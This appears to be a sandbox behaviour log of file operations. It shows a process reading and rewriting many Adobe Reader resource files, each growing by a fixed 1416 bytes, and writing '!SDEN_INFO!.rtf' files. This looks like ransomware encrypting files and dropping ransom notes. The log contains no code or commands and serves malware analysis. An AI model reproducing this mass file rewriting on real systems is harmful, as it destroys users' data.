File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\!SDEN_INFO!.rtf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\ui-strings.js, size = 1147, size_out = 1147	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\ui-strings.js, size = 2563	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\ui-strings.js, size = 1154, size_out = 1154	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\ui-strings.js, size = 2570	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\!SDEN_INFO!.rtf, size = 1223, size_out = 1223	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\!SDEN_INFO!.rtf, size = 2639	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\ui-strings.js, size = 1246, size_out = 1246	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\ui-strings.js, size = 2662	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js, size = 1200, size_out = 1200	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js, size = 2616	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\ui-strings.js, size = 1260, size_out = 1260	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\ui-strings.js, size = 2676	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-tw\ui-strings.js, size = 1208, size_out = 1208	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-tw\ui-strings.js, size = 2624	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\ui-strings.js, size = 1365, size_out = 1365	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\de-de\ui-strings.js, size = 2781	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hu-hu\ui-strings.js, size = 1350, size_out = 1350	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hu-hu\ui-strings.js, size = 2766	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ru-ru\ui-strings.js, size = 1500, size_out = 1500	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ru-ru\ui-strings.js, size = 2916	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\selector.js, size = 2988, size_out = 2988	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\selector.js, size = 4404	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ca-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ca-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ca-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-ma\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-ma\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fr-ma\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ro-ro\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ro-ro\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ro-ro\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-tw\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\de-de\ui-strings.js, size = 1314, size_out = 1314	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\de-de\ui-strings.js, size = 2730	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hu-hu\ui-strings.js, size = 1341, size_out = 1341	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\hu-hu\ui-strings.js, size = 2757	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ru-ru\ui-strings.js, size = 1445, size_out = 1445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ru-ru\ui-strings.js, size = 2861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-selector.js, size = 3565, size_out = 3565	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\editpdf-selector.js, size = 4981	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\ui-strings.js, size = 1176, size_out = 1176	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\da-dk\ui-strings.js, size = 2592	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hu-hu\ui-strings.js, size = 1193, size_out = 1193	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hu-hu\ui-strings.js, size = 2609	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ru-ru\ui-strings.js, size = 1238, size_out = 1238	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\ru-ru\ui-strings.js, size = 2654	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-selector.js, size = 3913, size_out = 3913	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugins\rhp\exportpdfupsell-app-selector.js, size = 5329	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Sign_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Sign_White@1x.png, size = 690, size_out = 690	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Sign_White@1x.png, size = 2106	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Sign_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Sign_White@1x.png, size = 690, size_out = 690	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Sign_White@1x.png, size = 2106	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line_2x.png, size = 550, size_out = 550	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line_2x.png, size = 1966	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line_2x.png, size = 550, size_out = 550	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line_2x.png, size = 1966	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\da-dk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\da-dk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\da-dk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ja-jp\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ja-jp\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ja-jp\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sl-si\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sl-si\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sl-si\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
